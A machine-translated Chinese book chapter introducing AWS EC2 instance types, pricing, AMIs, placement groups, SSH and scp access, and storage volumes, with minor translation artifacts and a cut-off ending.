无论大小,越来越多的企业和团队正在采用公共云服务,尽管大型企业采取行动的速度相对较慢。 - -云计算的最佳隐喻之一是应用服务*on tap*。 你的应用需要更多资源吗? 只需*打开水龙头*并提供所需的任意数量的虚拟机或实例(水平伸缩)。 或者,对于某些实例,您可能需要更多的 cpu 或内存(垂直扩展)。 当你不再需要资源时,只需*关掉水龙头*。 - -公共云服务以相对较低的速率提供所有这些功能,减少了维护容纳这些功能的本地基础设施可能带来的操作开销。 - -本章将向您介绍**Amazon Web Services**(**AWS**)和 Microsoft Azure——两个主要的公共云提供商——并提供一些在云中部署应用的实际指导。 特别地,我们将关注典型的云管理工作负载,使用 web 管理控制台和命令行界面。 - -在本章的最后,你将知道如何使用 AWS 管理控制台、AWS CLI、Azure web 门户和 Azure CLI 来管理你的云资源,这是我们这个时代最流行的两个云提供商。 您还将了解如何在云中创建和启动资源,从而在性能和成本之间取得合理的平衡。 - -我们希望 Linux 管理员——新手和有经验的都一样——会发现本章的内容是相关的和新鲜的。 当我们探索 AWS 和 Azure 云工作负载时,我们的重点纯粹是实用的。 我们将不再比较这两者,因为这样的努力已经超出了本章的范围。 为了让旅程不那么无聊,我们还将避免在描述 AWS 和 Azure 管理任务之间保持完美的对称。 我们都知道 AWS 是最先进入公共云领域的。 其他主要的云提供商紧随其后,采用,偶尔改进底层的范例和工作流。 在我们首先介绍 AWS 时,我们将讨论一些云供应概念(例如区域和**可用区域**(**az**)),它们在很多方面与 Azure 非常相似。 - -最后,我们将把使用 AWS 或 Azure 的最终选择留给您。 我们把地图给你。 这条路是你的。 - -以下是你将要学习的一些关键话题: - -* 使用 AWS 控制台 -* 理解 AWS EC2 配置类型 -* 创建和管理 AWS EC2 实例 -* 使用 AWS CLI -* 介绍 Azure web 门户 -* 在 Azure 中创建虚拟机 -* 在 Azure 中管理虚拟机和相关的云资源 -* 使用 Azure CLI - -# 技术要求 - -如果你想跟随实际的例子,本章需要 AWS 和 Azure 帐户。 两家云提供商都提供免费订阅服务: - -* AWS Free Tier:[https://aws.amazon.com/free](https://aws.amazon.com/free) -* Microsoft Azure 免费账号:[https://azure.microsoft.com/en-us/free/](https://azure.microsoft.com/en-us/free/) - -您还需要一台带有您选择的 Linux 发行版的本地机器来安装和试验 AWS CLI 和 Azure CLI 实用程序。 AWS 和 Azure 的 web 控制台驱动的管理任务需要一个现代的 web 浏览器,并且您可以访问任何平台上的相关门户。 要运行 AWS 和 Azure CLI 命令,您需要一个 Linux 命令行终端,并具有使用 shell 的中级水平。 - -接下来,让我们从我们的第一个竞争者 AWS EC2 开始。 - -# 使用 AWS EC2 - -AWS**弹性计算云**(**EC2**)是一种可伸缩的计算基础设施,允许用户租赁虚拟计算平台和服务来运行他们的云应用。 近年来,AWS EC2 因其出色的性能和可扩展性以及相对经济的服务计划而受到极大的欢迎。 本节提供一些基本的功能知识,帮助您开始部署和管理运行应用的 AWS EC2 实例。 特别地,我们将为您介绍以下内容: - -* EC2 实例类型——区分不同的供应和相关的定价层 -* **Amazon Machine Images**(**AMI**)-启动 EC2 实例所需的功能单元 -* 访问 EC2 实例——使用 SSH 连接和 SCP 在 EC2 实例之间传输文件 -* 使用 EBS 快照备份和恢复 EC2 实例 -* 使用 AWS CLI - -在本节结束时,您将基本了解 AWS EC2 以及如何选择、部署和管理 EC2 实例。 - -让我们从启动 EC2 实例开始。 - -## 创建 AWS EC2 实例 - -AWS EC2 提供了各种实例类型,每种类型都有其配置、容量、定价和用例模型。 在不同的 EC2 实例类型之间进行选择并不总是简单的。 本节将简要描述每种 EC2 实例类型,使用它们的一些优缺点,以及如何选择最具成本效益的解决方案。 对于每种实例类型,我们将向您展示如何使用 AWS 控制台启动一个实例。 接下来,我们将看看两个基本的 EC2 部署特性——*AMIs*和*安置组*——它们允许您在部署和扩展 EC2 实例时精通并灵活应变。 - -接下来让我们看看 EC2 实例类型。 - -### 介绍 AWS EC2 实例类型 - -我们可以从两个角度来看待 EC2 实例类型: - -* **Provisioning**—EC2 实例的容量和计算能力 -* **Pricing**—运行 EC2 实例的费用 - -当您选择 EC2 实例时,您必须同时考虑两者。 让我们简要地看一下这些选项。 - -#### EC2 实例配置选项 - -每个 EC2 实例配置类型的主要区别特性是计算能力,如下所示: - -* CPU 或**虚拟 CPU**(**vCPU**) -* 随机存取存储器(内存) -* 存储(磁盘容量) - -一些 EC2 实例类型还提供**图形处理单元**(**GPU)或**现场可编程门阵列(FPGA**【显示】)计算功能。****** - - **下面是基于配置的 EC2 实例类型的快速枚举: - -* **通用**-适用于广泛的工作负载,具有平衡的 CPU 供应,内存和存储。 实例类:`m4`,`m5`,`m5a`,`m5ad`,`m5d`,`m5dn`,`m5n`,`m5zn`、【显示】,`m6gd`,`mac1`,`t2`,【病人】,`t3a`,`t4g`。 例如,一个`m4.large`实例有 2 个 vcpu 和 8gb 内存。 -* **计算优化**-理想的计算绑定应用与高性能处理。 实例类:`c4`,`c5`,`c5a`,`c5ad`,`c5d`,`c5n`,`c6g`,`c6gd`,【显示】。 例如,一个`c4.large`实例有 2 个 vcpu 和 3.75 GB 内存。 -* **内存优化**-设计用于具有大内存数据集的高性能工作负载。 实例类:`r4`,`r5`,`r5a`,`r5ad`,`r5b`,`r5d`,`5dn`,`r5n`、【显示】,`r6gd`,`u-6tb1`,`u-12tb1`,【病人】,`u-24tb1`,`x1`,`x1e`,【t16.1】。 例如:`r4.large`实例有 2 个 vcpu, 15.25 GB 内存。 -* **存储优化**-适用于在本地存储上运行具有高顺序读写操作的工作负载和大数据集。 实例类别:`d2`,`d3`,`d3en`,`h1`,`i3`,`i3en`。 例如,一个`d2.xlarge`实例有 4 个 vcpu 和 30.5 GB 内存。 -* **加速计算**-适用于使用硬件加速实现特定功能,如图形处理、浮点计算和数据模式匹配。 实例类:`p2`,`p3`,`g2`,`g3`,`g3s`,`g4ad`,`g4dn`,`f1`,【显示】。 例如,一个`p2.xlarge`实例有 4 个 vcpu、61 GB 内存和 1 个加速器(即协处理器或 GPU)。 - -EC2 实例配置类型的详细视图超出了本章的范围。 您可以在这里浏览相关信息:[https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html)。 除了配置之外,您还必须考虑 EC2 实例的定价模型。 接下来让我们看看 EC2 的购买选项。 - -#### EC2 实例购买选项 - -在撰写本文时,基于购买选项的 EC2 实例类型如下: - -* **按需实例**—您为每秒的计算能力付费,无需长期承诺。 -* **保留实例**—如果长期设置特定的实例属性,比如`type`和`region`,那么与按需实例相比,保留实例可以节省大量资源。 -* **现货实例**—这些 EC2 实例可以以比按需实例更低的价格进行重用。 -* **专用实例**—这些 EC2 实例运行在分配给单支付者帐户的**虚拟私有云**(**VPC**)中。 - -我们将在下面几节中介绍前面的每一种 EC2 实例类型。 对于每一种类型,我们都展示了一个启动相应实例的示例。 但是在创建实例之前,我们将看看另一个关于 EC2 实例的关键概念——*az*。 - -### EC2 可用性区域 - -AWS EC2 服务在全球多个地点可用,称为*区域*。 地区包括*美国西俄勒冈*(`us-west-2`)和*亚太孟买*(`ap-south-1`)。 EC2 在一个区域中定义了多个**az**,实质上是一个或多个数据中心。 就底层基础设施而言,区域之间是完全隔离的,以提供容错和高可用性。 如果某个 Region 不可用,则只有该 Region 内的 EC2 实例不可达。 其他区域及其 EC2 实例将继续不间断地工作。 下面是 AWS 中的区域和 az 的简单说明: - -![Figure 13.1 – AWS EC2 AZs](img/B13196_13_01.jpg) - -图 13.1 - AWS EC2 可用分区 - -类似地,az 相互连接,同时在 Region 内提供高可用性和容错 EC2 服务。 启动 EC2 实例将在 AWS 控制台中选择的当前 Region 中创建它。 当管理 EC2 实例时,AWS EC2 管理员可以在不同的 region 之间切换。 在 EC2 管理控制台中,只有所选 Region 中的实例是可见的。 EC2 管理员通常会根据访问 EC2 实例的用户的地理位置选择 Region。 - -现在,我们已经初步了解了如何基于定价启动各种 EC2 实例类型。 让我们先看看按需实例。 - -### 按需 EC2 实例 - -AWSEC2*按需实例*使用*现收现付*定价模型来计算每秒的资源使用情况,不需要长期合约。 按需实例最适合试验不确定的工作负载,其中资源使用情况不完全已知(例如在开发期间)。 例如,随需应变实例的灵活性要比保留实例付出更高的代价。 - -让我们启动一个按需实例。 首先,我们登录到 AWS 控制台[https://console.aws.amazon.com](https://console.aws.amazon.com)。 在仪表板的右上角,我们选择首选区域,在本例中为 US West(**Oregon**): - -![Figure 13.2 – The AWS Management Console](img/B13196_13_02.jpg) - -图 13.2 - AWS 管理控制台 - -接下来,我们将选择 EC2 服务。 **Launch instance**按钮将开始一步一步地创建我们的按需实例: - -![Figure 13.3 – Launching an on-demand EC2 instance](img/B13196_13_03.jpg) - -图 13.3 -启动按需 EC2 实例 - -让我们一起来看看这个过程。 - -#### 步骤 1:选择一个 Amazon 机器映像(AMI) - -在这个屏幕上,我们选择一个 AMI 和我们选择的 Linux 发行版。 我们建议使用节约成本的**免费分级**AMI。 让我们为我们的 EC2 实例选择**Amazon Linux 2 AMI**: - -![Figure 13.4 – Choosing the AMI for the EC2 instance](img/B13196_13_04.jpg) - -图 13.4 -为 EC2 实例选择 AMI - -按下**Select**按钮将进入下一步。 - -#### 步骤 2:选择实例类型 - -这里,我们根据供应需求选择实例类型。 我们将选择`t2.micro`类型,它也是符合**的空闲层**,具有 1 vCPU 和 1 GB 内存(RAM): - -![Figure 13.5 – Choosing the EC2 instance type](img/B13196_13_05.jpg) - -图 13.5 -选择 EC2 实例类型 - -此时,我们已经准备好通过按**Review and launch**按钮来启动实例。 或者,我们可以遵循进一步的配置步骤; 否则,EC2 将分配一些默认值。 让我们快速浏览一下这些步骤。 - -#### 步骤 3:配置实例详细信息 - -在这个页面上,我们可以选择我们想要启动的 EC2 实例的数量,配置网络设置,并选择我们实例的操作系统级关闭行为,这只是其中的几个选项。 对于任何配置选项,你都可以通过按下它旁边的信息按钮来获得详细的描述: - -![Figure 13.6 – Configuring EC2 instance details](img/B13196_13_06.jpg) - -图 13.6 -配置 EC2 实例详细信息 - -在接下来的步骤中,我们将查看附加到 EC2 实例的存储设备。 - -#### 步骤 4:添加存储 - -在这个页面上,我们选择我们希望在我们的实例上可用的存储空间的数量,可以是本地磁盘或卷挂载: - -![Figure 13.7 – Adding storage to an EC2 instance](img/B13196_13_07.jpg) - -图 13.7 -向 EC2 实例添加存储 - -在下一步中,我们将使用特定的信息标记 EC2 实例。 - -#### 步骤 5:添加标签 - -在本页上,我们定义键值对来标记或标识我们的实例。 当我们管理大量 EC2 实例时,标签将有助于用户友好地查找和过滤操作。 例如,如果我们想要将 EC2 实例标识为*Packt*环境的一部分,我们可以创建一个具有以下键值对的标签: - -* **键**:`env` -* **值**:`packt` - -我们可以给一个给定的实例添加多个标签(键-值对): - -![Figure 13.8 – Adding tags to an EC2 instance](img/B13196_13_08.jpg) - -图 13.8 -向 EC2 实例添加标签 - -在下一步中,我们将配置与实例相关的安全设置。 - -#### 步骤 6:配置安全组 - -在这个页面上,我们配置了一组防火墙规则,控制进出 EC2 实例的入站和出站流量: - -![Figure 13.9 – Configure the security group of an EC2 instance](img/B13196_13_09.jpg) - -图 13.9 -配置 EC2 实例的安全组 - -在最后一步中,我们检查配置设置并启动 EC2 实例。 - -#### 第七步:复习 - -在这个页面上,我们总结了我们的 EC2 实例配置。 我们可以在启动实例之前编辑和更改任何设置: - -![Figure 13.10 – Review and launch the EC2 instance](img/B13196_13_10.jpg) - -图 13.10 -查看并启动 EC2 实例 - -当启动 EC2 实例时,我们被要求创建或选择一个证书密钥对,用于远程 SSH 访问我们的实例: - -![Figure 13.11 – Select or create a certificate key pair for SSH access](img/B13196_13_11.jpg) - -图 13.11 -选择或创建 SSH 访问的证书密钥对 - -让我们创建一个新的证书密钥对,并将其命名为`packt-ec2`。 将相关文件(`packt-ec2.pem`)下载到本地机器上的一个安全位置,在那里您可以使用`ssh`命令访问您的 EC2 实例: - -```sh -ssh -i aws/packt-ec2.pem ec2-user@EC2_INSTANCE -``` - -在本章后面,我们将进一步研究如何通过 SSH 连接到我们的 EC2 实例。 - -按下**Launch Instances**按钮将创建并启动 EC2 实例。 下一个屏幕将显示一个**View Instances**按钮,该按钮将把您带到显示当前区域实例的 EC2 仪表板。 您还可以根据各种实例属性(包括标记)筛选视图。 例如,通过`env: packt`标签进行过滤,我们将获得刚才创建的 EC2 实例的视图: - -![Figure 13.12 – An EC2 instance in the running state](img/B13196_13_12.jpg) - -图 13.12 - EC2 实例处于运行状态 - -有关按需实例的更多信息,请访问[https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-on-demand-instances.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-on-demand-instances.html)。 - -现在我们已经学习了启动 EC2 实例的基础知识——即一个按需实例*——接下来让我们看看*保留实例*。* - - *### 保留 EC2 实例 - -对于保留的实例,我们将特定类型的 EC2 计算能力租给特定的时间。 这个期限被称为*期限*,可以是 1 年或 3 年的承诺。 以下是购买预留实例时需要预先设置的主要特征: - -* **平台**-如`Linux` -* **可用分区**-如`us-west-2` -* **租户**-运行在**默认**(共享)或**专用**硬件上 -* **Offering Class** – the options are as follows: - - a)**标准**-一个定义良好的选项集的普通保留实例 - - b)**可转换**-允许特定的更改,例如修改实例类型(例如,从`t2.large`到`t2.xlarge`) - -* **实例类型**-例如`t2.large` -* **期限**—如`1`年 -* **支付选项**-**全部预付**,**部分预付**,或**不预付** - -有了这些选项和其中的不同层次,您的成本取决于所涉及的云计算资源和服务的持续时间。 例如,如果你选择全部预付,你会得到一个更好的折扣。 从前面提到的选项中选择最终是一项节约成本和灵活性的实践。 - -与购买预留实例类似的是一个移动电话计划:您决定所有您想要的选项,然后在一定的时间内做出承诺。 使用保留实例,您在进行更改方面的灵活性较低,但可以显著节省成本——与按需实例相比,有时可节省 75%。 - -要启动一个保留实例,请转到 AWS 控制台中的 EC2 仪表板,并在左侧面板的**Instances**下选择**保留实例**,然后单击**购买保留实例**按钮。 下面是一个购买保留 EC2 实例的例子: - -![Figure 13.13 – Purchasing a reserved EC2 instance](img/B13196_13_13.jpg) - -图 13.13 -购买一个保留的 EC2 实例 - -有关 EC2 保留实例的更多信息,请访问[https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-reserved-instances.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-reserved-instances.html)。 - -我们已经了解到,保留实例是按需 EC2 实例的一种经济有效的替代方案。 让我们进一步研究通过使用现货实例来降低成本的另一种方法。 - -### EC2 现货实例 - -一个*点实例*是未使用的实例,等待被出租。 如果相关成本不高于您愿意为您的现货实例支付的成本,那么现货实例空闲的时间长短取决于 EC2 中所请求的容量的一般可用性。 与按需 EC2 定价相比,AWS 提供高达 90%的折扣。 - -使用现场实例的主要警告是,当所需容量不再以最初商定的速率提供时,可能出现*无空缺*的情况。 在这种情况下,现场实例将关闭(并可能在其他地方租用)。 AWS EC2 在停止 spot 实例之前提供了 2 分钟的警告。 这段时间应该用于正确地终止在实例中运行的应用工作流。 - -Spot 实例最适合于非关键任务,在这些任务中,应用处理可能在任何时刻无意中中断,随后恢复,而不会造成相当大的损坏或数据丢失。 此类作业可能包括数据分析、批处理和可选任务。 - -要启动 spot 实例,请转到您的**EC2**仪表板,并在左侧菜单中选择**spot Requests**。 在**实例**下,点击**请求点实例**: - -![Figure 13.14 – Launching an EC2 spot instance](img/B13196_13_14.jpg) - -图 13.14 -启动 EC2 spot 实例 - -关于启动一个现场实例的详细的解释超出了本章的范围。 AWS EC2 控制台在描述和协助相关选项方面做得很好。 有关现场实例的更多信息,请访问[https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-spot-instances.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-spot-instances.html)。 - -默认情况下,EC2 实例运行在共享硬件上,这意味着多个 AWS 客户拥有的实例共享同一台机器(或虚拟机)。 如果您想要一个专用平台来运行 EC2 实例,该怎么办? 接下来让我们看看专用实例。 - -### EC2 专用实例 - -特定的业务要求应用在专用的硬件上运行,而不与任何人共享平台。 AWS EC2 提供了*专用主机*和*专用实例*来适应这个用例。 如您所料,专用实例的开销要比其他实例类型大。 那么,我们为什么要关心租赁这样的实例呢? - -有些企业,特别是金融、卫生和政府机构的企业,根据法律要求满足处理敏感数据的严格监管要求,或为运行其应用获得基于硬件的许可证。 - -使用专用实例*而没有*专用主机,EC2 将保证您的应用运行在专门为您提供的 hypervisor 上,但它不会强制执行*固定的*机器或硬件集。 换句话说,您的一些实例可能运行在不同的物理主机上。 在**专用**实例之外选择**专用主机**总是需要一个完全专用的环境——管理程序和主机——来专门运行您的应用,而不需要与其他 AWS 客户共享底层平台。 - -要启动一个专用实例,您可以按照本章前面的*EC2 按需实例*小节中描述的启动按需 EC2 实例的相同步骤开始。 在**步骤 3:配置实例详细信息**中,对于**租户**,您将选择**Dedicated - Run a Dedicated instance**,如下截图所示: - -![Figure 13.15 – Launching a dedicated EC2 instance](img/B13196_13_15.jpg) - -图 13.15 -启动一个专用的 EC2 实例 - -如果要在专用主机上运行专用的实例,必须首先创建专用主机。 在**EC2**仪表板上,在左侧菜单的**Instances**下,选择**Dedicated Hosts**: - -![Figure 13.16 – Creating a dedicated EC2 host](img/B13196_13_16.jpg) - -图 13.16 -创建专用 EC2 主机 - -按照 EC2 向导根据您的首选项分配专用主机。 创建您的主机后,你可能会启动专用实例如前所述,选择**专用主机,一个专用的主机上启动该实例**选择**租赁**在**第三步:配置实例细节**。 - -有关专用主机的更多信息,请访问[https://aws.amazon.com/ec2/dedicated-hosts/](https://aws.amazon.com/ec2/dedicated-hosts/)。 对于专用实例,请参见[https://aws.amazon.com/ec2/pricing/dedicated-instances/](https://aws.amazon.com/ec2/pricing/dedicated-instances/)。 - -我们在这里总结一下 AWS EC2 实例类型。 详情请访问[https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Instances.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Instances.html)。 - -接下来,我们来看看 AMIs。 从一个创造性的比喻来看,AMI 是 EC2 实例孵化的卵子。 - -### 介绍 Amazon 机器映像(AMIs) - -AMI 本质上是一个 EC2*机器模板*,您可以从它启动实例。 AMI 通常捆绑一个操作系统,但它也可以封装任何具有特定功能的软件包或应用。 以下是 AMI 的主要组成部分: - -* **根卷模板**-存储卷或*硬盘驱动器*,包含引导实例的映像,包括操作系统文件和应用 -* **启动权限**-指定*谁*可以使用 AMI -允许基于 AMI 启动实例的 AWS 帐户 -* **块设备映射**—一组额外的存储卷(根卷之外),用于存储额外的数据,如日志 - -创建 AMI 也称为*注册*AMI。 您可以跨多个 az 复制 AMI,或者与其他用户共享它。 ami 是高度可定制的。 您可以从另一个 AMI 开始构建 AMI,修改它,然后启动和保存(或注册)它以供特定的使用。 与实例一样,您可以为您的 ami 分配自定义标记以用于标识目的,或者保持它们的组织,例如版本控制(例如*version: 1.0*)。 当您不再需要 AMI 时,您可以*注销*AMI 以释放资源。 - -对于初学者 AWS EC2 帐户,您可能还没有自己的 AMI。 AWS Marketplace 有无数 ami 可供选择,其中许多是免费的。 您可以从现有的 AMI 开始,然后构建自己的 AMI。 Amazon Linux ami 是一个很好的起点。 它们是免费的,维护良好,定期更新,并由亚马逊支持。 您还可以选择基于标准 Linux 发行版(如 RHEL 或 Ubuntu)的 ami。 - -您可以从正在运行的 EC2 实例中创建 AMI,通过选择您的实例,在**Actions**菜单中,选择**Image and Templates**,然后选择**create Image**: - -![Figure 13.17 – Creating an AMI from an instance](img/B13196_13_17.jpg) - -图 13.17 -从一个实例创建一个 AMI - -通过单击相关的信息图标,系统将提示您为实例命名,并输入描述以及与 AMI 相关的其他选项,相关的 EC2 仪表板屏幕上已经详细记录了这些选项。 - -有关 ami 的更多信息,请访问[https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html)。 - -接下来,我们将看看 EC2 实例的另一个重要组件——*布局组*——它控制您的实例如何在 EC2 基础结构中分布,以实现高可用性和优化的工作负载。 - -### 介绍 AWS EC2 安置组 - -*放置组*允许您指定如何跨底层 EC2 硬件或管理程序放置您的 EC2 实例,根据您的需求提供分组或单独实例的策略。 安置小组是免费的。 - -有三种类型的安置小组可供选择: - -* 集群 -* 传播 -* 分区 - -让我们快速浏览每一种类型并查看它们的用例。 - -#### 集群放置组 - -使用集群放置组,实例被放置在单个 AZ(数据中心)中。 它们最适合实例之间的低延迟、高吞吐量通信,但不适合与外部世界进行通信。 具有高性能计算或数据复制的应用将从集群布局中获得很大好处,但 web 服务器就没有那么多好处了。 - -#### 传播组位置 - -当您启动多个 EC2 实例时,始终有可能它们最终会运行在相同的物理机器或 hypervisor 上。 当单点故障(如硬件)对您的应用至关重要时,这可能是不可取的。 分散放置组提供了实例之间的硬件隔离。 换句话说,如果在一个扩展布局组中启动多个实例,就可以保证它们将运行在不同的物理机器上。 在 EC2 硬件故障的罕见情况下,只有一个实例会受到影响。 - -#### 分区放置组 - -分区布局组将以逻辑结构(分区)对实例进行分组,并在分区之间进行硬件隔离,但不是在实例级别。 我们可以把这个模型看作是集群和分散安置组之间的一种混合。 当您在一个分区放置组中启动多个实例时,EC2 将尽力在分区之间均匀地分配实例。 例如,如果您有 4 个分区和 12 个实例,EC2 将在每个节点(分区)中放置 3 个实例。 我们可以将分区看作是由多个实例组成的计算单元。 在发生硬件故障的情况下,隔离的分区实例仍然可以彼此通信,但不能跨分区。 分区放置组在单个逻辑分区中最多支持 7 个实例。 - -要创建安置组,请在 EC2 仪表板的左侧菜单中选择**安置组**,在**网络&安全**下,点击**创建安置组**按钮。 在下一个屏幕上,您将为**安置组**和**安置策略**指定一个名称。 您还可以添加标记(键-值对)来组织或标识您的位置组。 完成后,点击**创建组**按钮: - -![Figure 13.18 – Creating an AMI from an instance](img/B13196_13_18.jpg) - -图 13.18 -从一个实例创建一个 AMI - -有关 EC2 安置组的详情,请浏览[https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html)。 - -现在我们已经熟悉了各种 EC2 实例类型,让我们看看如何使用我们的实例。 - -## 使用 AWS EC2 实例 - -在本节中,我们简要地了解一些与您的实例相关的基本操作和管理概念。 首先,让我们看一下 EC2 实例的生命周期。 - -### EC2 实例的生命周期 - -在使用或管理 EC2 实例时,理解从启动到运行、休眠、关闭或终止的过渡阶段非常重要。 每一种状态都会影响计费和我们访问实例的方式: - -![Figure 13.19 – The life cycle of an EC2 instance](img/B13196_13_19.jpg) - -图 13.19 - EC2 实例的生命周期 - -**PENDING**状态对应于实例的启动和初始化阶段。 从**PENDING**到**RUNNING**的转换并不总是立即进行的,而且可能需要一段时间才能使在实例中运行的应用响应。 EC2 在**RUNNING**状态下开始计费实例,直到转换到**STOPPED**状态。 - -在**RUNNING**状态下,如果需要,我们可以重新启动实例。 在**REBOOTING**状态期间,EC2 总是在相同的主机上返回我们的实例,而停止和重新启动并不总是保证实例拥有相同的主机。 - -在**STOPPED**状态下,我们将不再为实例收费,但是将会有与附加到实例的任何额外存储(根卷除外)相关的成本。 - -当不再需要实例时,可以在**停止**或**HIBERNATING**状态之间进行选择。 通过**hibernate**,我们避免了**PENDING**状态在启动时潜在的延迟。 如果不再使用实例,可以选择终止它。 在终止时,没有更多的费用与实例有关。 当终止一个实例时,在它被永久删除之前,它可能仍然会在 EC2 仪表板中显示一段时间。 - -我们可以使用 SSH 连接到正在运行状态的 EC2 实例。 在下一节中,我们将向您展示如何操作。 - -### 连接到 AWS EC2 实例 - -在中,EC2 实例通常用于运行特定的应用或一组应用。 相关平台的管理和维护通常需要终端接入。 使用 AWS EC2 控制台和 SSH 终端,我们在 EC2 实例上执行管理任务。 我们称之为*控制平面*(或*管理平面*)访问。 - -运行在 EC2 实例上的应用还可以公开它们的特定端点(端口),以便与外部世界通信。 我们称之为*数据平面*访问,EC2 使用安全组来控制相关的网络流量。 - -在本节中,我们简要介绍控制平面和数据平面访问。 特别地,我们将涵盖以下主题: - -* 使用 SSH 连接到 EC2 实例 -* 通过安全组控制网络流量 -* 使用 SCP 与 EC2 实例进行文件传输 - -首先,让我们看看如何通过 SSH 连接到 EC2 实例。 - -#### 通过 SSH 连接到 EC2 实例 - -在 EC2 实例中使用 SSH 允许我们像管理网络上的任何本地机器一样管理它。 相关的 SSH 命令如下: - -```sh -ssh -i SSH_KEY ec2-user@EC2_INSTANCE -``` - -`SSH_KEY`表示我们在启动实例时创建并下载的本地系统上的私钥文件。 参见*EC2 按需实例*部分(在*步骤 7:回顾*中)。 - -`ec2-user`是 EC2 分配给 AMI Linux 实例的默认用户。 不同的 ami 可能有不同的用户名进行连接。 您应该与您选择的 AMI 供应商一起检查用于 SSH 的默认用户名。 - -`EC2_INSTANCE`表示 EC2 实例的公网 IP 地址或 DNS 名称。 你可以在你的实例的 EC2 仪表板中找到这些: - -![Figure 13.20 – The public IP address and DNS name of an EC2 instance](img/B13196_13_20.jpg) - -图 13.20 - EC2 实例的公网 IP 地址和 DNS 名称 - -在我们的例子中,SSH 命令如下: - -```sh -ssh -i aws/packt-ec2.pem ec2-user@34.220.165.82 -``` - -但是在我们连接之前,我们需要为我们的私钥文件设置正确的权限,这样它就不会被公开查看: - -```sh -chmod 400 aws/packt-ec2.pem -``` - -如果不这样做,将导致在尝试连接时出现未受保护的密钥文件错误。 如果您需要回顾一下这些命令,请单击**EC2**仪表板顶部的**Connect**按钮,并选择 EC2 实例: - -![Figure 13.21 – Connecting to your EC2 instance](img/B13196_13_21.jpg) - -图 13.21 -连接到 EC2 实例 - -在下一个屏幕上,在**SSH 客户端**选项卡上,您将看到连接到 EC2 实例所需的步骤和命令: - -![Figure 13.22 – The SSH client commands to connect to your EC2 instance](img/B13196_13_22.jpg) - -图 13.22 - SSH 客户端命令连接到 EC2 实例 - -成功连接到 EC2 实例的 SSH 会产生以下输出: - -![Figure 13.23 – Connecting with SSH to an EC2 instance](img/B13196_13_23.jpg) - -图 13.23 -用 SSH 连接到 EC2 实例 - -此时,我们可以与 EC2 实例交互,就像它是一台标准机器一样。 - -接下来,让我们看看如何控制对在 EC2 实例中运行的应用的网络访问。 - -#### 通过安全组控制网络流量 - -安全组定义了一组过滤入、出 EC2 实例的网络流量的规则。 当我们创建一个实例时,AWS EC2 自动为它创建一个默认的**安全组**。 相关的设置可以在**安全性详细信息**窗格中看到,在**安全性**选项卡上选择了我们的实例: - -![Figure 13.24 – The security settings for our EC2 instance](img/B13196_13_24.jpg) - -图 13.24 - EC2 实例的安全设置 - -您可以编辑安全设置(**入站规则**和**出站规则**,点击相应的**安全组 ID**: - -![Figure 13.25 – Editing the security settings of your EC2 instance](img/B13196_13_25.jpg) - -图 13.25 -编辑 EC2 实例的安全设置 - -例如,如果你在你的实例中运行一个 web 服务器,你可以为 HTTP 和 HTTPS 连接添加入站规则: - -![Figure 13.26 – Adding inbound rules for HTTP and HTTPS access to the EC2 instance](img/B13196_13_26.jpg) - -图 13.26 -为 EC2 实例添加用于 HTTP 和 HTTPS 访问的入站规则 - -管理在 EC2 实例中运行的 OS 平台和应用需要执行各种管理任务。 有些情况下,我们必须将文件复制到实例或从实例复制文件。 在下一节中,我们将向您展示如何操作。 - -#### 使用 SCP 进行文件传输 - -要在 EC2 实例之间来回传输文件,我们使用`scp`实用程序。 `scp`使用**安全复制协议**(**SCP**)在网络主机之间安全地传输文件。 - -下面的命令将一个本地文件(`README.md`)复制到远程 EC2 实例: - -```sh -scp -i aws/packt-ec2.pem README.md ec2-user@34.220.165.82:/~ -``` - -该文件被复制到 EC2 实例上的`ec2-user`的主文件夹`(/home/ec2-user`中。 将`README.md`文件从远端实例传输到本地目录的反向操作如下: - -```sh -scp -i aws/packt-ec2.pem ec2-user@34.220.165.82:~/README.md . -``` - -我们应该注意,`scp`命令调用类似于`ssh`,其中我们通过`-i`(标识文件)参数指定私钥文件(`aws/packt-ec2.pem`)。 - -接下来,我们将研究管理和扩展 EC2 实例的另一个关键方面——存储卷。 - -### 使用 EC2 存储卷 - -存储卷是 EC2 实例中的设备挂载,提供额外的磁盘容量(额外的成本)。 例如,您可能需要为大型文件缓存或广泛的日志记录提供额外的存储,或者您可能选择为 EC2 实例之间共享的关键数据挂载网络附加的存储。 - -您可以将 EC2 存储卷看作模块化硬盘驱动器。 您可以根据需要装载或卸载它们。 - -EC2 提供两种类型的存储卷: - -* 实例存储 -* **弹性块存储**(T2】EBS) - -了解如何使用存储卷可以让您在应用增长时做出更好的决策。 让我们先看一下实例存储卷。 - -#### 实例存储卷 - -实例存储卷是直接(物理地)连接到 EC2 实例的磁盘。 因此,您可以连接到实例的实例存储卷的最大大小和数量受到实例类型的限制。 例如,一个经过存储优化的*i3*实例最多可以附加 8 x 1.9 TB SSD 磁盘,而一个通用*m5d*实例最多只能增加 4 个驱动器,每个驱动器的容量为 900 GB。 参见[https://aws.amazon.com/ec2/instance-types/](https://aws.amazon.com/ec2/instance-types/)了解更多关于实例容量的信息。 - -如果它是根卷(OS 平台引导实例的卷),则不需要额外的成本。 - -并非所有的 EC2 实例类型都支持实例存储卷。 例如,通用的*t2*实例类型只支持 EBS 存储卷。 另一方面,如果希望将存储扩展到超出实例存储所允许的最大容量,则必须使用 EBS 卷。 - -实例存储卷上的数据仅保存在 EC2 实例中。 如果您的实例停止或终止,或者它出现故障,那么您的所有数据都将丢失。 要用 EC2 实例存储和持久化关键数据,您必须选择 EBS。 所以,让我们接下来看看 EBS 的容量。 - -#### EBS 卷 - -EBS 卷是灵活且高性能的网络连接存储设备,可以服务于根卷系统和 EC2 实例上的附加卷挂载。 一个 EBS 根卷一次只能连接到一个 EC2 